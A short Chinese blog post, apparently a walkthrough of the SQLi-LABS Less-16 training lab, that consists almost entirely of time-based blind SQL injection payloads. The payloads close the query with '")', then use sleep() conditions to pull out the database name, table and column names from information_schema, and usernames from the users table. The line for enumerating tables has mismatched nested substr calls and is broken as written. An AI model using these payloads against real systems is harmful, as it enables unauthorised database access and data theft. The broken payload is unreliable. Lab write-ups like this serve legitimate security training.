[SQLi-LABS] Less-16

最新推荐文章于 2024-02-24 14:10:23 发布

三无提督w

最新推荐文章于 2024-02-24 14:10:23 发布

阅读量140

点赞数

本文链接：https://blog.csdn.net/cf260469080/article/details/106066157

版权

布尔盲注或时间盲注，这里用了时间盲注

")or 1=1#
")or if(length(database())>0,sleep(1),0)#
")or if(substr((select database()),1,1)="s",sleep(1),0)#  //爆库
")or if(substr((select substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)="e",sleep(1),0)#  //爆表
")or if(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,1)="u",sleep(1),0)#   //爆字段
")or if(substr((select group_concat(username) from security.users),1,1)="d",sleep(1),0)#   //爆内容